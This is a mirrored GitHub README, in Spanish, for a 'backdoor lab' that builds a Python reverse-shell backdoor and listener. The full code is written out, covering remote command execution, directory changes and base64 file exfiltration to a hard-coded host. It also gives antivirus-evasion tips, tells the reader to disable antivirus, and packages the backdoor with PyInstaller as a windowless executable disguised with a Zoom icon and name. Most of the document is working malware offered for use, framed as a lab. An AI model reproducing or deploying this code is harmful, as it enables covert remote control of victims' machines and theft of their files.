Git Product home page Git Product logo

backdoor-en-python-lab's Introduction

BACKDOOR-LABORATORIO-

Parrot (TARGET)

Ubuntu (Hacker)

  • backdoor.py
import socket 


connection = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 


connection.connect(("192.168.1.133",4444) 

conexion establecida

Ubuntu

  • Abrimos un listener usando ncat
ncat -l -vv 4444

ubntu conexion establecida

  • Perfecto, funciona, pero vamos a mejorarlo. # HackmodeON!

Parrot (Target)

backdoor.py

import socket 

connection = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 

 
 

connection.connect(("192.168.1.133",4444)) 

 
 

connection.send("\n [+] Conexion establecida".encode()) 

 
 

datos_recibidos = connection.recv(1024) 

 
 

print(datos_recibidos) 

 
 

connection.close() 

conexion establecida 1024

Ubuntu (Hacker)

  • Abrimos listener con ncat
ncat -l -vv 4444 

conexion establecida 10242

  • Conexion establecida.

Parrot (Target)

Mejoramos codigo,implementamos ejecution de comandos.

backdoor.py

import socket 

import subprocess 

 
 

def ejecutar_comando(comando): 

return subprocess.check_output(comando,shell=True) 

 
 

connection = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 

connection.connect(("192.168.1.133",4444)) 

connection.send("\n [+] Conexion establecida \n".encode()) 

 
 

while True: 

 
 

comando = connection.recv(1024) 

resultado_comando = ejecutar_comando(comando) 

connection.send(resultado_comando) 

 
 

connection.close() 

conexion establecida parrot listener

Ubuntu (Hacker)

  • Listener abierto
ncat -l -vv 4444 

comandos ubuntu

HackModeON! > VAMOS A CREAR NUESTRO PROPIO LISTENER CON PYTHON !

listener.py

import socket 




listener = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 




listener.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1) 




listener.bind(("192.168.1.133" ,4444)) 




listener.listen(0) 




print("[+] Esperando por conexiones") 




connection,addres = listener.accept() 




print("[+] Tenemos una conexion de {}".format(addres)) 




while True: 

       command = input("shell $") 

       connection.send(command.encode()) 

       result = connection.recv(1024) 

       print(result) 

Ubuntu (Hacker)

conexion establecida con listener

Parrot (Target)

comandos parrot

  • Conexion establecida.

MEJORA DE CODIGO EN LISTENER

  • listener.py
import socket 

 
class Listener: 

 
 

    def __init__(self,ip, port): 

listener = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 

listener.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1) 

listener.bind((ip,port)) 

listener.listen(0) 

print("[+] Esperando por conexiones") 

self.connection,addres = listener.accept() 

print("[+] Tenemos una conexion de {}".format(addres)) 

result = self.connection.recv(1024) 

print(result.decode("utf-8")) 

 
 

def ejecutar_remoto(self,comando): 

self.connection.send(comando.encode()) 

return self.connection.recv(1024).decode("utf-8") 

 

    def run(self): 

 while True: 

       comando = input("shell $ ") 

       resultado = self.ejecutar_remoto(comando) 

                  print("\n" + resultado) 

 
 

escuchar = Listener("192.168.1.133",4444) 

 

escuchar.run() 

Ubuntu (Hacker)

mejora de listener ubuntu

Parrot (Target)

mejora de listener parrot

  • Backdoor corriendo, vamos a mejorarlo tambien.

MEJORA DE CODIGO EN BACKDOOR

  • backdoor.py
import socket 

import subprocess 

 
class Backdoor: 

 
 

    def __init__(self,ip,port): 

self.connection = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 

self.connection.connect((ip,port)) 

self.connection.send("\n [+] Conexion establecida \n".encode()) 

 
 
 

    def ejecutar_comando(self,comando): 

return subprocess.check_output(comando,shell=True) 

 
 
 

    def run(self): 

while True: 

 
 

comando = self.connection.recv(1024) 

resultado_comando = self.ejecutar_comando(comando.decode("utf-8")) 

self.connection.send(resultado_comando) 

           self.connection.close() 

 

backdoor = Backdoor("192.168.1.133", 4444) 

backdoor.run() 

Parrot (Target)

mejora de backdoor parrot

Ubuntu (Hacker)

mejora de listener ubuntu

  • Listener corriendo correctamente.

MEJORA DE CODIGO IMPLEMENTAMOS ENVIO DE DATOS CON JSON

  • backdoor.py
import socket 

import subprocess 

import json 

 
 

class Backdoor: 

 
 

    def __init__(self,ip,port): 

self.connection = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 

self.connection.connect((ip,port)) 

self.connection.send("\n [+] Conexion establecida \n".encode()) 

     

    def envio_seguro(self, datos): 

json_data = json.dumps(datos) 

self.connection.send(json_data.encode()) 

 
 

    def reception_segura(self): 

     json_data = "" 

        while True: 

 
          try: 

json_data = self.connection.recv(1024).decode("utf-8") 

return json.loads(json_data) 

          except ValueError: 

                  continue 

 

    def ejecutar_comando(self,comando): 

           return subprocess.check_output(comando,shell=True) 

 
 
 

   def run(self): 

          while True: 

 
 

comando = self.reception_segura() 

resultado_comando = self.ejecutar_comando(comando) 

self.envio_seguro(resultado_comando.decode("utf-8")) 

          self.connection.close() 

 
 

backdoor = Backdoor("192.168.1.133",4444) 

backdoor.run() 

Parrot (Target)

envio de datos con json parrot

Ubuntu (Hacker)

json ubuntu

  • Listo, vamos mejorando aun mas.

MEJORA DE CODIGO AGREGAMOS COMANDO "salir"

  • backdoor.py
import socket
import subprocess
import json

class Backdoor:

    def __init__(self,ip,port):
        self.connection = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        self.connection.connect((ip,port))
        self.connection.send("\n [+] Conexion establecida \n".encode())
    
    def envio_seguro(self, datos):
        json_data = json.dumps(datos)
        self.connection.send(json_data.encode())

    def reception_segura(self):
        json_data = ""
        
        while True:
            try:
             
               json_data = self.connection.recv(1024).decode("utf-8")
               return json.loads(json_data)
            except ValueError:
                continue
    
    def ejecutar_comando(self,comando):
        return subprocess.check_output(comando,shell=True)


    def run(self):
        while True:

            comando = self.reception_segura()

            if comando[0] == "salir":
                self.connection.close()
                exit()
            
            else:
                resultado_comando = self.ejecutar_comando(comando)
                self.envio_seguro(resultado_comando.decode("utf-8"))
        self.connection.close()

backdoor = Backdoor("192.168.1.133",4444)
backdoor.run()

Parrot (Target)

comando salir

Ubuntu (Hacker)

  • listener.py
import socket
import json

class Listener:

    def __init__(self,ip, port):
        listener = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        listener.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1)
        listener.bind((ip,port))
        listener.listen(0)
        print("[+] Esperando por conexiones")
        self.connection,addres = listener.accept()
        print("[+] Tenemos una conexion de {}".format(addres))
        result = self.connection.recv(1024)
        print(result.decode("utf-8"))
    
    def envio_seguro(self,comando):
        json_data = json.dumps(comando)
        self.connection.send(json_data.encode())

    def reception_segura(self):
        json_data = ""
        while True:

            try:
                json_data = self.connection.recv(1024).decode("utf-8")
                return json.loads(json_data)
                
            except:
                continue

      
    def ejecutar_remoto(self,comando):
        self.envio_seguro(comando)
        
        if comando[0] == "salir":
            self.connection.close()
            exit()
            
        return self.reception_segura()
    
    
    def run(self):
         while True:
            comando = input("shell $ ")
            comando = comando.split(" ")
            
            resultado = self.ejecutar_remoto(comando)
            print("\n" + resultado)

escuchar = Listener("192.168.1.133",4444)

escuchar.run()

comando salir  ubuntu

MEJORA DE CODIGO AGREGANDO COMANDO "cd"

  • backdoor.py
import socket
import subprocess
import json
import os

class Backdoor:

    def __init__(self,ip,port):
        self.connection = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        self.connection.connect((ip,port))
        self.connection.send("\n [+] Conexion establecida \n".encode())
    
    def envio_seguro(self, datos):
        json_data = json.dumps(datos)
        self.connection.send(json_data.encode())

    def reception_segura(self):
        json_data = ""
        
        while True:
            try:
             
               json_data = self.connection.recv(1024).decode("utf-8")
               return json.loads(json_data)
            except ValueError:
                continue
    
    def ejecutar_comando(self,comando):
        return subprocess.check_output(comando,shell=True)

    def cambiar_directorio(self,ruta):
        os.chdir(ruta)
        return "[+] Cambiando de directorio a {}".format(ruta).encode()

    def run(self):
        while True:

            comando = self.reception_segura()

            if comando[0] == "salir":
                self.connection.close()
                exit()
            elif comando[0] == "cd" and len(comando) > 1:
                resultado_comando = self.cambiar_directorio(comando[1])
            else:
                resultado_comando = self.ejecutar_comando(comando)
                
            self.envio_seguro(resultado_comando.decode("utf-8"))
       

backdoor = Backdoor("192.168.1.133",4444)
backdoor.run()

Parrot (Target)

agregando comando cd parrot

Ubuntu (Hacker)

  • En el listener no modificamos ningun codigo, es el backdoor el que ejecuta.

agregando comando cd ubuntu

  • Comando cd cd .. funcionando perfectamente.

MEJORA DE CODIGO IMPLEMENTAMOS OPCION DE "descargar"

  • backdoor.py
import socket
import subprocess
import json
import os

class Backdoor:

    def __init__(self,ip,port):
        self.connection = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        self.connection.connect((ip,port))
        self.connection.send("\n [+] Conexion establecida \n".encode())
    
    def envio_seguro(self, datos):
        json_data = json.dumps(datos)
        self.connection.send(json_data.encode())

    def reception_segura(self):
        json_data = ""
        
        while True:
            try:
             
               json_data = self.connection.recv(1024).decode("utf-8")
               return json.loads(json_data)
            except ValueError:
                continue
    
    def ejecutar_comando(self,comando):
        return subprocess.check_output(comando,shell=True)

    def cambiar_directorio(self,ruta):
        os.chdir(ruta)
        return "[+] Cambiando de directorio a {}".format(ruta).encode()
    
    def leer_archivo(self,ruta):
        with open(ruta,"rb") as file:
            return file.read()

    def run(self):
        while True:

            comando = self.reception_segura()

            if comando[0] == "salir":
                self.connection.close()
                exit()
            elif comando[0] == "cd" and len(comando) > 1:
                resultado_comando = self.cambiar_directorio(comando[1])
            elif comando[0] == "descargar":
                resultado_comando = self.leer_archivo(comando[1])
            else:
                resultado_comando = self.ejecutar_comando(comando)
                
            self.envio_seguro(resultado_comando.decode("utf-8"))
       

backdoor = Backdoor("192.168.1.133",4444)
backdoor.run()

Parrot (Target)

implementamos opcion de descargar parrot

Ubuntu (Hacker)

  • listener.py
import socket
import json
from unittest import result

class Listener:

    def __init__(self,ip, port):
        listener = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        listener.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1)
        listener.bind((ip,port))
        listener.listen(0)
        print("[+] Esperando por conexiones")
        self.connection,addres = listener.accept()
        print("[+] Tenemos una conexion de {}".format(addres))
        result = self.connection.recv(1024)
        print(result.decode("utf-8"))
    
    def envio_seguro(self,comando):
        json_data = json.dumps(comando)
        self.connection.send(json_data.encode())

    def reception_segura(self):
        json_data = ""
        while True:

            try:
                json_data = self.connection.recv(1024).decode("utf-8")
                return json.loads(json_data)
                
            except:
                continue

      
    def ejecutar_remoto(self,comando):
        self.envio_seguro(comando)
        
        if comando[0] == "salir":
            self.connection.close()
            exit()
            
        return self.reception_segura()
    
    def escribir_archivo(self,ruta,contenido):
        with open(ruta,"wb") as file:
            file.write(contenido.encode())
            return "[+] Descarga completa!!"

    def run(self):
         while True:
            comando = input("shell $ ")
            comando = comando.split(" ")
            resultado = self.ejecutar_remoto(comando)
            if comando[0] == "descargar":
                resultado = self.escribir_archivo(comando[1],resultado)
            print("\n" + resultado)

escuchar = Listener("192.168.1.133",4444)

escuchar.run()

implemenatmos opcion de descargar ubuntu

MEJORA DE CODIGO IMPLEMENTAMOS "descargar" IMAGENES Y MEJORAMOS listener y backdoor

  • backdoor.py
import socket
import subprocess
import json
import os
import base64

class Backdoor:

    def __init__(self,ip,port):
        self.connection = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        self.connection.connect((ip,port))
        self.connection.send("\n [+] Conexion establecida \n".encode())
    
    def envio_seguro(self, datos):
        json_data = json.dumps(datos)
        self.connection.send(json_data.encode())

    def reception_segura(self):
        json_data = ""
        
        while True:
            try:
             
               json_data = self.connection.recv(1024).decode("utf-8")
               return json.loads(json_data)
            except ValueError:
                continue
    
    def ejecutar_comando(self,comando):
        return subprocess.check_output(comando,shell=True).decode("utf-8")

    def cambiar_directorio(self,ruta):
        os.chdir(ruta)
        return "[+] Cambiando de directorio a {}".format(ruta)
    
    def leer_archivo(self,ruta):
        with open(ruta,"rb") as file:
            return base64.b64encode(file.read()).decode("utf-8")

    def run(self):
        while True:

            comando = self.reception_segura()

            if comando[0] == "salir":
                self.connection.close()
                exit()
            elif comando[0] == "cd" and len(comando) > 1:
                resultado_comando = self.cambiar_directorio(comando[1])
            elif comando[0] == "descargar":
                resultado_comando = self.leer_archivo(comando[1])
            else:
                resultado_comando = self.ejecutar_comando(comando)
                
            self.envio_seguro(resultado_comando)
       

backdoor = Backdoor("192.168.1.133",4444)
backdoor.run()

Parrot (Target)

implementamos descarag de imagenes parrot

  • Backdoor corriendo corectamente.

Ubuntu (Hacker)

implementamos descaraga de imagenes ubuntu

  • Correctamente funcionando, imagen descargada.

HACEMOS MEJORAS EN CUANTO AL CODIGO , QUITANDO ERRORES

  • Implementamos mejoras por si nos equivocamos de comando.

  • backdoor.py

import socket
import subprocess
import json
import os
import base64

class Backdoor:

    def __init__(self,ip,port):
        self.connection = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        self.connection.connect((ip,port))
        self.connection.send("\n[+] Conexion establecida \n".encode())
    
    def envio_seguro(self, datos):
        json_data = json.dumps(datos)
        self.connection.send(json_data.encode())

    def reception_segura(self):
        json_data = ""
        
        while True:
            try:
             
               json_data = self.connection.recv(1024).decode("utf-8")
               return json.loads(json_data)
            except ValueError:
                continue
    
    def ejecutar_comando(self,comando):
        return subprocess.check_output(comando,shell=True).decode("utf-8")

    def cambiar_directorio(self,ruta):
        os.chdir(ruta)
        return "[+] Cambiando de directorio a {} \n".format(ruta)
    
    def leer_archivo(self,ruta):
        with open(ruta,"rb") as file:
            return base64.b64encode(file.read()).decode("utf-8")

    def run(self):
        while True:
            comando = self.reception_segura()
            try:
                if comando[0] == "salir":
                    self.connection.close()
                    exit()
                elif comando[0] == "cd" and len(comando) > 1:
                    resultado_comando = self.cambiar_directorio(comando[1])
                elif comando[0] == "descargar":
                    resultado_comando = self.leer_archivo(comando[1])
                else:
                    resultado_comando = self.ejecutar_comando(comando)
            except Exception:
                resultado_comando = "[-] Error de ejecution \n"

            self.envio_seguro(resultado_comando)
       
backdoor = Backdoor("192.168.1.133",4444)
backdoor.run()

Parrot (Target)

mejora de codigo error de cd cdh

Ubuntu (Hacker)

  • listener.py
import socket
import json
from unittest import result
import base64

class Listener:

    def __init__(self,ip, port):
        listener = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        listener.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1)
        listener.bind((ip,port))
        listener.listen(0)
        print("[+] Esperando por conexiones")
        self.connection,addres = listener.accept()
        print("[+] Tenemos una conexion de {}".format(addres))
        result = self.connection.recv(1024)
        print(result.decode("utf-8"))
    
    def envio_seguro(self,comando):
        json_data = json.dumps(comando)
        self.connection.send(json_data.encode())

    def reception_segura(self):
        json_data = ""
        while True:

            try:
                json_data =json_data + self.connection.recv(1024).decode("utf-8")
                return json.loads(json_data)
                
            except:
                continue

      
    def ejecutar_remoto(self,comando):
        self.envio_seguro(comando)
        
        if comando[0] == "salir":
            self.connection.close()
            exit()
            
        return self.reception_segura()
    
    def escribir_archivo(self,ruta,contenido):
        with open(ruta,"wb") as file:
            file.write(base64.b64decode(contenido))
            return "[+] Descarga completa!!"

    def run(self):
         while True:
            comando = input("shell $ ")
            comando = comando.split(" ")
            resultado = self.ejecutar_remoto(comando)
            if comando[0] == "descargar":
                resultado = self.escribir_archivo(comando[1],resultado)
            print("\n" + resultado)

escuchar = Listener("192.168.1.133",4444)

escuchar.run()

mejora de codnig error cd cde ubuntu

  • Si en vez de cd se usa cde > por ex. El programa nos avisa de dicho error de ejecution, lo cual esta bien.

BACKDOOR EN WINDOWS

  • En windows solo tenemos que agregar .decode("windows-1252") a la siguente function en backdoor.py >

backdoor.py

 def ejecutar_comando(self,comando):
        return subprocess.check_output(comando,shell=True).decode("windows-1252")

El resto del codigo sigue igual, tanto listener como backdoor.

  • Siempre respetando la ip, el listener y el backdoor apuntan donde va estar el listener.

Windows 10 (Target)

backdoor en windows

  • Backdoor corriendo correctamente, sistema infectado.

Ubuntu (Hacker)

backdoor en windows ubuntu

  • Tenemos acceso total a la maquina.

Seguimos mejorando el codigo, con sys y DEVNULL

  • Mejora necesaria para el backdoor-windows.py para que no tengamos ningun error, y hacerlo INVISIBLE en el sistema.
import socket
import subprocess
import json
import os
import base64
import sys

class Backdoor:

    def __init__(self,ip,port):
        self.connection = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        self.connection.connect((ip,port))
        self.connection.send("\n[+] Conexion establecida \n".encode())
    
    def envio_seguro(self, datos):
        json_data = json.dumps(datos)
        self.connection.send(json_data.encode())

    def reception_segura(self):
        json_data = ""
        
        while True:
            try:
             
               json_data = self.connection.recv(1024).decode("utf-8")
               return json.loads(json_data)
            except ValueError:
                continue
    
    def ejecutar_comando(self,comando):
        DEVNULL = open(os.devnull,"wb")
        return subprocess.check_output(comando,shell=True,stderr=DEVNULL,stdin=DEVNULL).decode("windows-1252")

    def cambiar_directorio(self,ruta):
        os.chdir(ruta)
        return "[+] Cambiando de directorio a {} \n".format(ruta)
    
    def leer_archivo(self,ruta):
        with open(ruta,"rb") as file:
            return base64.b64encode(file.read()).decode("utf-8")

    def run(self):
        while True:
            comando = self.reception_segura()
            try:
                if comando[0] == "salir":
                    self.connection.close()
                    sys.exit()
                elif comando[0] == "cd" and len(comando) > 1:
                    resultado_comando = self.cambiar_directorio(comando[1])
                elif comando[0] == "descargar":
                    resultado_comando = self.leer_archivo(comando[1])
                else:
                    resultado_comando = self.ejecutar_comando(comando)
            except Exception:
                resultado_comando = "[-] Error de ejecution \n"

            self.envio_seguro(resultado_comando)
       
backdoor = Backdoor("192.168.1.133",4444)
backdoor.run()

Parrot (Target)

importaMOS SYS

BACKDOOR INDETECTABLE

  • Backdoor sigue indetectable por el antivirus puesto que es un archivo.py, y no .exe , enseguida lo convertimos a exe.

  • Como te diste cuenta en el backdoor use palabras como "backdoor" "ejecutar_comando" lo cual salta las alarmas y no es la mejor manera de desarrollar un virus un backdoor, pero aqui es una clase de desarrollo de un backdoor unicamente, la imaginacion es tuya.

Y como lo hacemos indetectable?

La Invisibilidad, y como se consigue>?

Lo mejor seria usar palabras y frases cuales SOLO tu reconozcas! Sin que ningun antivirus pueda leerlos como amenazas.

BACKDOOR ".EXE"

En primer lugar dezactiva tu antivirus, para asegurar que no interrumpa el trabajo.

antivirus

  • Necesitamos un icono , puede ser tipo zoom, whatsapp, tiktok, etc. de extension .ico

  • Todo lo pones en la misma carpeta tanto el backdoor como el icono, ex > Downloads.

  • Abre cmd (dir , cd Downloads, chdir, aseguramos que todo esta presente en la carpeta Downloads.

pip -V
  • Si no esta lo instalamos :
pip install pyinstaller
  • Generamos el .exe
pyinstaller --onefile --windowed --noconsole -i=zoom.ico backdoor-windows.py --name zoom

Diccionario

  • --onefile ( que genere menos archivos)
  • --windowed (ocultar consola)
  • --noconsole (que no abra la consola)
  • -i=zoom.ico ( imagen de executable, en mi caso elegí zoom)
  • backdoor-windows.py (nombre del backdoor)
  • --name (el nombre que le voy a poner a my backdoor)

zoom windows

  • En la carpeta dist , se encuentra el .exe.

Al abrir el .exe, el listener abre conexion enseguida, el listener tiene que correr siempre.

zoom ubuntu

If this project help you reduce time to develop, you can give me a cup of coffee :)

Buy Me A Coffee

ko-fi

Typing SVG

backdoor-en-python-lab's People

Contributors

tmcybers avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.